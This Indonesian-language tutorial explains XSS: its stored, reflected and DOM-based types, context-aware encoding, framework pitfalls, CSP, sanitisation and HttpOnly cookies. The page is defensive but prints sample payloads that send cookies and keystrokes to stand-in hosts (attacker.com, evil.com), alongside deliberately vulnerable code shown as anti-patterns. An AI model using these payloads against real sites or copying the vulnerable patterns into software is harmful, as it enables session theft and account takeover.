XSS Attack #

Cross-Site Scripting (XSS) adalah kerentanan di mana attacker berhasil menyisipkan JavaScript ke dalam halaman web yang kemudian dieksekusi oleh browser korban. Yang membuat XSS berbeda dari kebanyakan serangan lain: attacker tidak menyerang server — mereka menyerang pengguna melalui server. Script yang berjalan di browser korban berjalan dengan konteks penuh domain aplikasi: akses ke cookie, localStorage, session, dan kemampuan untuk melakukan request atas nama user.

Bayangkan skenario ini: seorang pengguna membuka halaman forum yang pernah mereka percayai. Di halaman tersebut ada komentar yang mengandung script tersembunyi. Browser korban mengeksekusi script itu — dan dalam sepersekian detik, session token dicuri dan dikirim ke server attacker. Korban tidak melihat apapun yang mencurigakan. Tidak ada popup, tidak ada halaman yang rusak. Tapi akun mereka sudah dikompromikan.

Ini bukan skenario teori. Ini adalah pola nyata yang terjadi di situs-situs besar — MySpace, eBay, British Airways — dan masih terus terjadi di aplikasi yang tidak menangani output encoding dengan benar.

Mengapa XSS Sangat Berbahaya #

Perbedaan mendasar XSS dari SQL Injection: SQLi menyerang database, XSS menyerang pengguna. Dan browser adalah lingkungan yang sangat kaya untuk dieksploitasi.

Apa yang bisa dilakukan script di browser korban:

  Pencurian session:
  fetch('https://attacker.com/steal?cookie=' + document.cookie)
  → Jika cookie tidak HttpOnly, session token dicuri
  → Attacker login sebagai korban dari sisi mereka

  Keylogger:
  document.addEventListener('keypress', function(e) {
      fetch('https://attacker.com/keys?k=' + e.key)
  })
  → Semua yang diketik oleh korban (termasuk password) dikirim ke attacker

  Aksi atas nama user (CSRF via XSS):
  fetch('/api/transfer', {
      method: 'POST',
      headers: {'Content-Type': 'application/json'},
      body: JSON.stringify({to: 'attacker', amount: 10000000})
  })
  → Request dikirim dengan session yang valid — server tidak bisa membedakan
    ini dari request legitimate user

  Phishing di domain asli:
  document.body.innerHTML = '<form>..login palsu..</form>'
  → User tidak curiga karena masih di domain yang benar
  → Credential yang dimasukkan dikirim ke attacker
sequenceDiagram
    participant A as Attacker
    participant S as Server/DB
    participant V as Victim Browser

    Note over A,V: Stored XSS — paling berbahaya

    A->>S: POST /comments {text: "<script>steal()</script>"}
    S->>S: Simpan ke database tanpa sanitasi
    V->>S: GET /page (korban buka halaman)
    S->>V: Response HTML berisi script attacker
    V->>V: Browser eksekusi script
    V->>A: fetch("/steal?c=" + cookie) — session dicuri!

Tiga Jenis XSS #

1. Stored XSS (Persistent XSS) #

Script berbahaya disimpan di database dan dieksekusi setiap kali halaman diakses oleh siapapun. Ini adalah jenis paling berbahaya karena satu payload bisa menyerang banyak korban sekaligus.

Skenario Stored XSS pada forum/comment system:

  1. Attacker submit komentar dengan payload:
     <script>
       fetch('https://evil.com/steal?s=' +
         encodeURIComponent(document.cookie))
     </script>

  2. Server menyimpan komentar ke database tanpa sanitasi

  3. Setiap user yang membuka halaman tersebut:
     → Browser menerima HTML yang berisi script
     → Browser mengeksekusi script (percaya ini bagian dari aplikasi)
     → Cookie session dikirim ke server attacker

  Dampak: semua user yang membuka halaman itu dikompromikan
  satu payload = banyak korban = skala serangan yang besar
# Backend yang rentan — Stored XSS
@app.route('/comments', methods=['POST'])
def create_comment():
    text = request.json['text']
    # Simpan langsung tanpa sanitasi apapun
    Comment.create(text=text)
    return jsonify({'status': 'ok'})

@app.route('/post/<int:post_id>')
def show_post(post_id):
    post = Post.query.get(post_id)
    comments = Comment.query.filter_by(post_id=post_id).all()
    # Render langsung — komentar yang berisi <script> akan dieksekusi browser
    return render_template('post.html', post=post, comments=comments)
<!-- Template yang rentan -->
{% for comment in comments %}
  <div class="comment">
    {{ comment.text | safe }}  ← | safe menonaktifkan auto-escape!
  </div>
{% endfor %}

<!-- Template yang aman — Jinja2 auto-escape by default -->
{% for comment in comments %}
  <div class="comment">
    {{ comment.text }}  ← auto-escaped: <&lt;, > → &gt;, dll
  </div>
{% endfor %}

2. Reflected XSS #

Script tidak disimpan di server — ia ada dalam URL atau parameter request, langsung “dipantulkan” kembali dalam response. Attacker harus mengirimkan URL berbahaya ke korban agar serangan berhasil.

Skenario Reflected XSS — search endpoint:

  URL berbahaya yang dikirim attacker ke korban (via email, chat, dll):
  https://app.contoh.com/search?q=<script>alert(document.cookie)</script>

  Server memproses dan merender:
  <h2>Hasil pencarian untuk: <script>alert(document.cookie)</script></h2>

  Browser korban menerima HTML ini dan mengeksekusi script.
# Backend yang rentan — Reflected XSS
@app.route('/search')
def search():
    query = request.args.get('q', '')
    results = Product.query.filter(Product.name.contains(query)).all()

    # Merender query langsung ke template tanpa encoding
    return render_template('search.html', query=query, results=results)
<!-- Template yang rentan -->
<h2>Hasil pencarian untuk: {{ query | safe }}</h2>
<!-- query bisa berisi <script>...</script> -->

<!-- Template yang aman -->
<h2>Hasil pencarian untuk: {{ query }}</h2>
<!-- Jinja2 auto-escape mengubah < menjadi &lt; -->
<!-- <script> muncul sebagai teks, bukan dieksekusi -->

3. DOM-Based XSS #

Terjadi sepenuhnya di sisi client. Server tidak terlibat dalam delivery payload — script berbahaya muncul karena JavaScript di halaman mengambil nilai dari sumber yang tidak aman (URL fragment, postMessage, localStorage) dan memasukkannya ke DOM tanpa encoding.

Ini adalah jenis yang paling sering terlewat dalam security review karena tidak terlihat di source HTML yang dikirim server — hanya terlihat di runtime JavaScript.

// Sumber yang tidak aman untuk DOM manipulation:

// 1. location.hash — tidak pernah dikirim ke server, jadi tidak ada server-side protection
const productId = location.hash.slice(1);
document.getElementById('product').innerHTML = productId;
// URL: https://app.com/products#<img src=x onerror=alert(1)>
// Browser akan mengeksekusi onerror handler!

// 2. location.search — URL parameter
const params = new URLSearchParams(location.search);
const name = params.get('name');
document.getElementById('greeting').innerHTML = 'Halo, ' + name;
// URL: https://app.com/?name=<script>alert(1)</script>

// 3. document.referrer
document.getElementById('back').innerHTML = 'Kembali ke: ' + document.referrer;

// 4. postMessage tanpa validasi origin
window.addEventListener('message', function(event) {
    // Tidak ada validasi event.origin!
    document.getElementById('content').innerHTML = event.data;
});
// Solusi untuk DOM-based XSS — gunakan textContent, bukan innerHTML

// ANTI-PATTERN: innerHTML menerima dan mengeksekusi HTML
element.innerHTML = userControlledValue;

// BENAR: textContent hanya menerima teks, karakter HTML di-escape otomatis
element.textContent = userControlledValue;

// BENAR: setAttribute untuk value di dalam attribute
const link = document.createElement('a');
link.textContent = linkText;  // bukan innerHTML
link.href = validateUrl(url); // validasi URL sebelum set
container.appendChild(link);

// Jika MEMANG butuh render HTML (misal: rich text editor):
// Gunakan DOMPurify untuk sanitasi sebelum dimasukkan ke innerHTML
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(richTextContent);
// DOMPurify menghapus tag dan attribute yang berbahaya
// tapi mempertahankan formatting yang legitimate

Konteks Output Encoding: Bukan Satu Ukuran untuk Semua #

Kesalahan umum yang sering terjadi: developer tahu tentang HTML encoding tapi tidak sadar bahwa cara encoding yang benar bergantung pada konteks di mana nilai ditampilkan.

<!-- Konteks 1: HTML content — gunakan HTML entity encoding -->
<p>Nama: {{ user.name }}</p>
<!-- Ali → Ali ✓ -->
<!-- <script>... → &lt;script&gt; ✓ (tidak dieksekusi) -->

<!-- Konteks 2: HTML attribute — encoding berbeda diperlukan -->
<input value="{{ user.name }}">
<!-- Jika nama mengandung " atau ' bisa membreak attribute -->
<!-- Benar: gunakan template engine yang handle ini otomatis -->
<!-- Atau manual: replace " dengan &quot; -->

<!-- Konteks 3: JavaScript — encoding berbeda lagi! -->
<script>
  var username = "{{ user.name }}";
  // Jika nama mengandung ", ini membreak string dan membuka celah XSS
  // Contoh nama berbahaya: "; alert(1); //
</script>

<!-- BENAR untuk Konteks 3: gunakan JSON encoding -->
<script>
  var username = {{ user.name | tojson }};
  // tojson menghasilkan: "Ali" (dengan escape yang benar)
  // Jika nama mengandung karakter berbahaya, mereka di-escape ke \uXXXX
</script>

<!-- Konteks 4: URL — URL encoding -->
<a href="/search?q={{ query | urlencode }}">Cari</a>

<!-- Konteks 5: CSS — jarang tapi perlu diperhatikan -->
<!-- Jangan pernah masukkan user input ke dalam CSS context -->
<style>
  .user-color { color: {{ user.color }}; }
  /* Berbahaya! expression(), javascript: bisa dieksekusi di CSS lama */
</style>

Jebakan di Framework Modern #

Framework seperti React, Vue, dan Angular sudah memiliki perlindungan XSS bawaan — tapi ada beberapa “escape hatch” yang membuka celah jika tidak digunakan dengan hati-hati.

// React — jebakan dangerouslySetInnerHTML
function Comment({ comment }) {
  // ANTI-PATTERN: bypass React's auto-escaping
  return (
    <div dangerouslySetInnerHTML={{ __html: comment.text }} />
  );
  // Nama "dangerously" bukan kebetulan — ini memang berbahaya
  // Jika comment.text dari user, ini adalah XSS

  // BENAR: biarkan React handle rendering (auto-escape)
  return <div>{comment.text}</div>;
  // React menggunakan textContent di bawahnya — aman dari XSS

  // Jika MEMANG butuh render HTML (rich text):
  const sanitized = DOMPurify.sanitize(comment.text);
  return <div dangerouslySetInnerHTML={{ __html: sanitized }} />;
}

// Jebakan lain di React: href dengan javascript:
function UserProfile({ user }) {
  // ANTI-PATTERN: URL dari user bisa mengandung javascript:
  return <a href={user.website}>Website</a>;
  // User bisa set website = "javascript:alert(document.cookie)"
  // Browser mengeksekusi alert saat link diklik

  // BENAR: validasi URL sebelum render
  function isSafeUrl(url) {
    try {
      const parsed = new URL(url);
      return ['https:', 'http:'].includes(parsed.protocol);
    } catch {
      return false;
    }
  }

  return isSafeUrl(user.website)
    ? <a href={user.website}>Website</a>
    : <span>Website tidak valid</span>;
}
<!-- Vue  jebakan v-html -->
<template>
  <!-- ANTI-PATTERN: v-html bypass Vue's auto-escaping -->
  <div v-html="comment.text"></div>

  <!-- BENAR: interpolasi biasa (auto-escaped) -->
  <div>{{ comment.text }}</div>

  <!-- Jika butuh rich text: sanitasi dulu -->
  <div v-html="sanitize(comment.text)"></div>
</template>

<script>
import DOMPurify from 'dompurify';
export default {
  methods: {
    sanitize(html) {
      return DOMPurify.sanitize(html);
    }
  }
}
</script>

Content Security Policy (CSP) yang Benar-Benar Efektif #

CSP adalah header HTTP yang menginstruksikan browser tentang sumber mana yang diizinkan untuk script, style, gambar, dll. CSP yang dikonfigurasi dengan benar adalah pertahanan berlapis yang sangat efektif terhadap XSS — bahkan jika ada celah XSS, browser menolak mengeksekusi script yang tidak sesuai kebijakan.

Tingkatan CSP dari lemah ke kuat:

  Level 0 — Tidak ada CSP (tidak ada perlindungan):
  [tidak ada header Content-Security-Policy]

  Level 1 — CSP ada tapi lemah (false security):
  Content-Security-Policy: default-src *; script-src * 'unsafe-inline' 'unsafe-eval'
  → Ini hampir tidak memberikan perlindungan apapun

  Level 2 — CSP dasar (cukup untuk banyak aplikasi):
  Content-Security-Policy:
    default-src 'self';
    script-src 'self' https://cdn.trusted.com;
    style-src 'self' 'unsafe-inline';
    img-src 'self' data: https:;
    font-src 'self' https://fonts.googleapis.com;
    connect-src 'self' https://api.yourdomain.com;
    frame-ancestors 'none';
    base-uri 'self';
    form-action 'self';

  Level 3 — CSP dengan nonce (paling kuat, menghilangkan unsafe-inline):
  Content-Security-Policy:
    default-src 'self';
    script-src 'self' 'nonce-{random-nonce}';
    [nonce berbeda untuk setiap request]
# Implementasi CSP dengan nonce di Flask
import secrets
from flask import g

@app.before_request
def set_csp_nonce():
    g.csp_nonce = secrets.token_urlsafe(16)

@app.after_request
def add_security_headers(response):
    nonce = getattr(g, 'csp_nonce', '')
    response.headers['Content-Security-Policy'] = (
        f"default-src 'self'; "
        f"script-src 'self' 'nonce-{nonce}'; "
        f"style-src 'self' 'unsafe-inline'; "
        f"img-src 'self' data: https:; "
        f"frame-ancestors 'none'; "
        f"base-uri 'self'; "
        f"form-action 'self'"
    )
    return response
<!-- Gunakan nonce di setiap script tag -->
<script nonce="{{ g.csp_nonce }}">
  // Hanya script dengan nonce yang valid yang dieksekusi
  // Attacker tidak bisa menyisipkan script karena tidak tahu nonce-nya
  // Nonce berubah setiap request
  initApp();
</script>

<!-- Script tanpa nonce TIDAK akan dieksekusi meskipun ada di halaman -->
<script>alert('XSS')</script>  ← browser blokir — tidak ada nonce yang valid

Mulai dengan CSP dalam mode “report-only” sebelum enforce. Mode ini melaporkan pelanggaran tanpa memblokir — memungkinkan kamu melihat apa yang akan diblokir dan memperbaikinya sebelum CSP aktif.

Content-Security-Policy-Report-Only:
  default-src 'self';
  report-uri /csp-violation-report;

Sanitasi HTML untuk Rich Text #

Ada kasus di mana user memang perlu memasukkan HTML — editor teks kaya seperti di blog atau forum. Di sini, output encoding saja tidak cukup karena kita memang ingin HTML dirender. Solusinya adalah sanitasi: hapus elemen dan attribute yang berbahaya, pertahankan yang aman.

// DOMPurify — library sanitasi HTML yang paling banyak digunakan
import DOMPurify from 'dompurify';

// Konfigurasi default — aman untuk sebagian besar kasus
const clean = DOMPurify.sanitize(dirtyHTML);

// Konfigurasi ketat — hanya izinkan subset kecil HTML
const clean = DOMPurify.sanitize(dirtyHTML, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'li', 'ol'],
    ALLOWED_ATTR: ['href', 'title'],
    // Paksa semua link buka di tab baru dengan rel noopener
    ADD_ATTR: ['target'],
    FORCE_BODY: true
});

// Konfigurasi untuk mencegah data: URLs (bisa dipakai untuk XSS)
const clean = DOMPurify.sanitize(dirtyHTML, {
    FORBID_ATTR: ['onerror', 'onload', 'onclick', 'style'],
    FORBID_TAGS: ['script', 'iframe', 'object', 'embed'],
    ALLOW_DATA_ATTR: false
});
# Python — bleach (alternatif DOMPurify untuk backend)
import bleach

ALLOWED_TAGS = ['b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'li', 'ol', 'br']
ALLOWED_ATTRIBUTES = {
    'a': ['href', 'title', 'rel'],
}

def sanitize_html(raw_html):
    # Hanya izinkan tag dan attribute yang didefinisikan
    clean = bleach.clean(
        raw_html,
        tags=ALLOWED_TAGS,
        attributes=ALLOWED_ATTRIBUTES,
        strip=True  # hapus tag yang tidak diizinkan (bukan escape)
    )
    # Tambahkan rel="noopener noreferrer" ke semua link
    return bleach.linkify(clean, callbacks=[
        bleach.callbacks.nofollow,
        bleach.callbacks.target_blank
    ])

Bahkan jika XSS berhasil, HttpOnly cookie memastikan session token tidak bisa dicuri melalui JavaScript.

# Session cookie yang tahan XSS
response.set_cookie(
    'session',
    value=session_token,
    httponly=True,   # JavaScript tidak bisa baca cookie ini
    secure=True,     # hanya dikirim via HTTPS
    samesite='Lax',  # perlindungan dasar terhadap CSRF
    max_age=3600     # expire setelah 1 jam
)

# Efek HttpOnly:
# document.cookie → tidak mengandung cookie yang HttpOnly
# fetch('/steal?c=' + document.cookie) → session cookie tidak ada di sini
# → serangan session theft via XSS gagal untuk cookie yang HttpOnly
Penting: HttpOnly melindungi COOKIE, bukan localStorage atau sessionStorage.
Data yang disimpan di Web Storage BISA diakses oleh XSS.

Implikasi:
✓ Simpan session token di HttpOnly cookie — aman dari XSS
✗ Simpan session token di localStorage — bisa dicuri via XSS
✗ Simpan session token di sessionStorage — bisa dicuri via XSS

Jika API kamu menggunakan token di Authorization header:
→ Token biasanya disimpan di localStorage (rentan XSS)
→ Pertimbangkan token rotation dan short-lived token untuk mitigasi

Anti-Pattern yang Harus Dihindari #

// ✗ Anti-pattern 1: innerHTML dengan data dari luar
element.innerHTML = userInput;
element.innerHTML = apiResponse.description;
element.innerHTML = location.hash.slice(1);
// Semua ini membuka celah DOM-based XSS

// ✓ Solusi:
element.textContent = userInput;                    // untuk teks biasa
element.innerHTML = DOMPurify.sanitize(richText);  // untuk rich text

────────────────────────────────────────────────────────────────────────────

// ✗ Anti-pattern 2: eval() dengan data eksternal
const data = localStorage.getItem('config');
eval(data);  // jika data dikontrol attacker → RCE di browser

new Function(userCode)();  // sama berbahayanya
setTimeout(userInput, 1000);  // setTimeout dengan string juga eval!

// ✓ Solusi: jangan pernah eval data dari luar

────────────────────────────────────────────────────────────────────────────

// ✗ Anti-pattern 3: URL redirect tanpa validasi
const redirectTo = location.search.get('next');
window.location.href = redirectTo;
// Bisa diredirect ke: javascript:alert(1) atau https://phishing.com

// ✓ Solusi: validasi URL sebelum redirect
function safeRedirect(url) {
    const safe = new URL(url, window.location.origin);
    if (safe.origin !== window.location.origin) {
        throw new Error('External redirect not allowed');
    }
    window.location.href = safe.href;
}

────────────────────────────────────────────────────────────────────────────

// ✗ Anti-pattern 4: | safe / v-html / dangerouslySetInnerHTML dengan data user
{# Jinja2 #}
{{ user.bio | safe }}   user.bio bisa berisi script

// ✓ Solusi: hanya gunakan "safe" bypass pada konten yang sudah disanitasi
{{ user.bio | sanitize_html | safe }}   sanitasi dulu, baru safe

Checklist Pencegahan XSS #

OUTPUT ENCODING:
  □ Template engine auto-escape diaktifkan (default di Jinja2, Blade, Twig)
  □ Tidak ada | safe, v-html, atau dangerouslySetInnerHTML dengan data user
    yang belum disanitasi
  □ Konteks encoding sesuai: HTML, attribute, JavaScript, URL — encoding berbeda
  □ Data dari API juga di-encode sebelum dirender

DOM MANIPULATION:
  □ Tidak ada innerHTML dengan data dari user/URL/external source
  □ textContent digunakan sebagai default untuk memasukkan teks
  □ URL dari user divalidasi protokolnya sebelum dimasukkan ke href
  □ postMessage divalidasi origin sebelum diproses

RICH TEXT:
  □ DOMPurify atau library sanitasi digunakan untuk konten HTML dari user
  □ Whitelist tag dan attribute yang diizinkan sudah dikonfigurasi
  □ Sanitasi dilakukan di server juga, tidak hanya di client

CONTENT SECURITY POLICY:
  □ CSP header dipasang untuk semua response HTML
  □ 'unsafe-inline' dan 'unsafe-eval' tidak ada kecuali ada alasan kuat
  □ CSP di-test dengan mode report-only sebelum enforce
  □ Nonce digunakan untuk script yang memang perlu inline

COOKIE:
  □ Session cookie menggunakan HttpOnly flag
  □ Session cookie menggunakan Secure flag
  □ Session token tidak disimpan di localStorage

THIRD PARTY:
  □ Semua third-party script di-audit sumbernya
  □ Subresource Integrity (SRI) digunakan untuk script dari CDN
  □ Tidak ada script dari domain tidak tepercaya tanpa evaluasi

Ringkasan #

  • XSS menyerang pengguna melalui aplikasi — script yang dieksekusi browser korban berjalan dengan konteks domain yang dipercaya, bisa mencuri cookie, melakukan aksi atas nama user, dan memalsukan UI.
  • Tiga jenis XSS dengan implikasi berbeda — Stored (payload disimpan, banyak korban), Reflected (payload di URL, perlu social engineering), DOM-based (terjadi di client tanpa keterlibatan server, paling sering terlewat).
  • Output encoding adalah pertahanan utama — encode berdasarkan konteks: HTML content, HTML attribute, JavaScript, dan URL memiliki encoding yang berbeda. Template engine modern melakukan ini otomatis.
  • innerHTML adalah pintu masuk XSS yang paling umum — gunakan textContent sebagai default. Jika memang butuh render HTML, sanitasi dengan DOMPurify terlebih dahulu.
  • dangerouslySetInnerHTML, v-html, dan | safe adalah red flag — setiap penggunaan harus di-review secara ketat. Hanya aman jika konten sudah melalui sanitasi library yang terpercaya.
  • CSP adalah defense in depth yang sangat efektif — bahkan jika ada celah XSS, CSP dengan nonce bisa mencegah script attacker dieksekusi.
  • HttpOnly cookie melindungi session dari pencurian via XSS — session token yang disimpan di HttpOnly cookie tidak bisa dibaca oleh JavaScript.
  • DOM-based XSS tidak terlihat di server log — tidak ada trace di server karena terjadi sepenuhnya di client. Security review harus mencakup kode JavaScript, bukan hanya backend.
  • Data dari API bukan berarti data aman — API response yang berisi data dari user lain tetap perlu di-encode sebelum dirender. “Data sudah ada di database” bukan jaminan amannya.
  • Rich text editor membutuhkan sanitasi, bukan encoding — ketika user memang perlu memasukkan HTML, gunakan whitelist tag dan attribute yang ketat dengan DOMPurify atau bleach.

← Sebelumnya: SQL Injection   Berikutnya: Http Only Cookie →

About | Author | Content Scope | Editorial Policy | Privacy Policy | Disclaimer | Contact